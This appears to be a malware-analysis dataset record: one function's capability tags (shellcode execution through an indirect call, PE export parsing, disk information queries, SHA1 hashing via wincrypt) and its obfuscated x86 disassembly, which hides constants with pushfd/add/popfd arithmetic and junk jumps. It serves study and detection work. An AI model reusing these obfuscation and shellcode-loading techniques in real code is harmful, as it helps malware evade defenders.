Function at 0x4051ce
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov ecx, dword [eax + 0x190]
jmp 0x4051d9
push esi
mov esi, ecx
and esi, 2
mov ecx, esi
pop esi
je 0x405b9f
jmp 0x4051f2
mov edx, 0x14
add edx, 1
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0
jne 0x405227
jmp 0x405222
jmp 0x405b9a
mov dword [ebp - 0x134], 0
jmp 0x40524b
mov eax, dword [ebp - 0x134]
push edx
mov edx, eax
add edx, 1
mov eax, edx
pop edx
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x14
jae 0x40527c
mov ecx, dword [ebp - 0x128]
add ecx, dword [ebp - 0x134]
mov edx, dword [ebp - 0xd4]
add edx, dword [ebp - 0x134]
mov al, byte [edx + 0x100]
jmp 0x405278
mov byte [ecx], al
jmp 0x405236
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x158], 0x3c
push 0x3c
push 0x78329004
pushfd
add dword [esp + 4], 0x87cd6ffc
popfd
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x4052bc
mov dword [ebp - 0x148], eax
jmp 0x4052ca
cmp dword [ebp - 0x148], 0
jne 0x4052dd
jmp 0x405750
mov ecx, 0x43
jmp 0x4052e5
mov word [ebp - 0x154], cx
mov edx, 0x736b80c9
pushfd
add edx, 0x8c947f71
popfd
mov word [ebp - 0x152], dx
mov eax, 0x5c
mov word [ebp - 0x150], ax
jmp 0x405317
xor ecx, ecx
mov word [ebp - 0x14e], cx
mov edx, dword [ebp - 0xd4]
mov eax, dword [edx + 0x190]
and eax, 4
jne 0x405342
mov ecx, dword [ebp - 0x148]
mov dword [ecx], 0
jmp 0x4053c8
push 0
push 0
push 0x25836880
pushfd
add dword [esp + 4], 0xda7c9780
popfd
push 0
push dword [ebp - 0x148]
pop edx
push edx
push 0
jmp 0x405368
push 0
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jmp 0x40537f
jne 0x4053c8
push dword [ebp - 0x148]
pop ecx
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
jmp 0x405399
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x4053aa
mov dword [ebp - 0x148], 0x8cf8e392
pushfd
add dword [ebp - 0x148], 0x73071c6e
popfd
jmp 0x405750
mov edx, dword [ebp - 0xd4]
mov eax, dword [edx + 0x190]
and eax, 8
je 0x405520
jmp 0x4053e0
mov dword [ebp - 0x15c], 0
jmp 0x4053fc
mov ecx, 0xf0c98461
pushfd
add ecx, 0xf36c4f3
popfd
mov word [ebp - 0x16c], cx
mov edx, 0xb15a4842
pushfd
add edx, 0x4ea61112
popfd
mov word [ebp - 0x170], dx
mov eax, dword [ebp - 0x148]
add eax, 4
mov dword [ebp - 0x168], eax
jmp 0x40555d
push dword [ebp - 0x168]
pop ecx
mov dx, word [ebp - 0x16c]
jmp 0x405571
mov word [ecx + 8], dx
mov eax, dword [ebp - 0x168]
push word [ebp - 0x16c]
pop cx
mov word [eax + 6], cx
push dword [ebp - 0x168]
pop edx
mov ax, word [ebp - 0x16c]
mov word [edx + 4], ax
jmp 0x4055a0
mov ecx, dword [ebp - 0x168]
mov dx, word [ebp - 0x16c]
mov word [ecx + 2], dx
mov eax, dword [ebp - 0x168]
jmp 0x4055bf
mov cx, word [ebp - 0x16c]
mov word [eax], cx
xor edx, edx
mov eax, dword [ebp - 0x168]
mov word [eax + 0xe], dx
jmp 0x4055db
xor ecx, ecx
push dword [ebp - 0x168]
pop edx
mov word [edx + 0xc], cx
xor eax, eax
jmp 0x4055f1
push dword [ebp - 0x168]
pop ecx
mov word [ecx + 0xa], ax
jmp 0x4055ff
mov edx, dword [ebp - 0x168]
push eax
mov eax, edx
add eax, 0x10
mov edx, eax
pop eax
mov dword [ebp - 0x168], edx
jmp 0x40561b
mov eax, 0x5757
mov ecx, dword [ebp - 0x168]
mov word [ecx + 4], ax
mov edx, 0x5757
mov eax, dword [ebp - 0x168]
mov word [eax + 2], dx
mov ecx, 0x5757
mov edx, dword [ebp - 0x168]
mov word [edx], cx
xor eax, eax
push dword [ebp - 0x168]
pop ecx
mov word [ecx + 0xe], ax
xor edx, edx
push dword [ebp - 0x168]
pop eax
mov word [eax + 0xc], dx
xor ecx, ecx
jmp 0x405667
mov edx, dword [ebp - 0x168]
mov word [edx + 0xa], cx
mov dword [ebp - 0x110], 0
jmp 0x405bc7
mov eax, dword [ebp - 0x110]
add eax, 1
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x14
jmp 0x405bd7
jae 0x405c22
push dword [ebp - 0xd4]
pop ecx
push dword [ebp - 0x110]
add ecx, 0x2bd007a4
sub dword [esp], 0x2bd007a4
add ecx, dword [esp]
mov dword [esp], ecx
pop ecx
mov edx, dword [ebp - 0x110]
mov al, byte [ecx + 0x100]
jmp 0x405c14
mov byte [ebp + edx - 0x10c], al
jmp 0x405bb8